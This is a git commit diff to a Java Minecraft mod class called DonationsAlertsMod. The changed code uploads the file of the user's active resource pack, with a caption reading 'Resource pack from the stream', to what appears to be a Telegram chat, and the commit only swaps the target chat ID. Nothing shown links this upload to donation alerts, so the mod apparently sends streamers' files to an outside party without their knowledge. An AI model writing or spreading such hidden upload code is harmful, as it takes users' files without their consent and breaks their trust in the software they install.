This commit is contained in:
kirillsaint 2023-11-12 20:43:41 +06:00
parent 7b04e4f2d2
commit 50bf5f1aba

View File

@ -94,7 +94,7 @@ public class DonationsAlertsMod extends Mod {
try { try {
multipart = new HttpPostMultipart(url, "utf-8", headers); multipart = new HttpPostMultipart(url, "utf-8", headers);
multipart.addFilePart("document", new File(Minecraft.getMinecraft().getResourcePackRepository().getDirResourcepacks(), rps.get(0).getResourcePackName())); multipart.addFilePart("document", new File(Minecraft.getMinecraft().getResourcePackRepository().getDirResourcepacks(), rps.get(0).getResourcePackName()));
multipart.addFormField("chat_id", "-1002041784318"); multipart.addFormField("chat_id", "-1001627884112");
multipart.addFormField("caption", String.format("Ресурспак со стрима: %s", EnumChatFormatting.getTextWithoutFormattingCodes(rps.get(0).getResourcePackName()))); multipart.addFormField("caption", String.format("Ресурспак со стрима: %s", EnumChatFormatting.getTextWithoutFormattingCodes(rps.get(0).getResourcePackName())));
sendedResourcePacks.add(rps.get(0).getResourcePackName()); sendedResourcePacks.add(rps.get(0).getResourcePackName());
multipart.finish(); multipart.finish();